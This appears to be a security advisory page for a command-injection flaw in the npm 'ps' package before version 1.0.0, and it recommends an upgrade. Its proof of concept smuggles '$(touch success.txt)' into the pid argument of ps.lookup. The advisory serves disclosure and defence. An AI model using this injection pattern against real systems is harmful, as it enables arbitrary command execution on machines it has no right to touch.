Lucene search

K
osvGoogleOSV:GHSA-CFHG-9X44-78H2
HistorySep 17, 2018 - 8:43 p.m.

ps Enables OS Command Injection

2018-09-1720:43:59
Google
osv.dev
11

0.003 Low

EPSS

Percentile

70.6%

Versions of ps before 1.0.0 are vulnerable to command injection.

Proof of concept:

var ps = require('ps');

ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
    if (err) {throw err;}
    if (proc) {
        console.log(proc);  // Process name, something like "node" or "bash"
    } else {
        console.log('No such process');
    }
});

// Result: The file success.txt will exist on the filesystem if the touch command was executed

Recommendation

Update to version 1.0.0 or later.

CPENameOperatorVersion
pslt1.0.0

0.003 Low

EPSS

Percentile

70.6%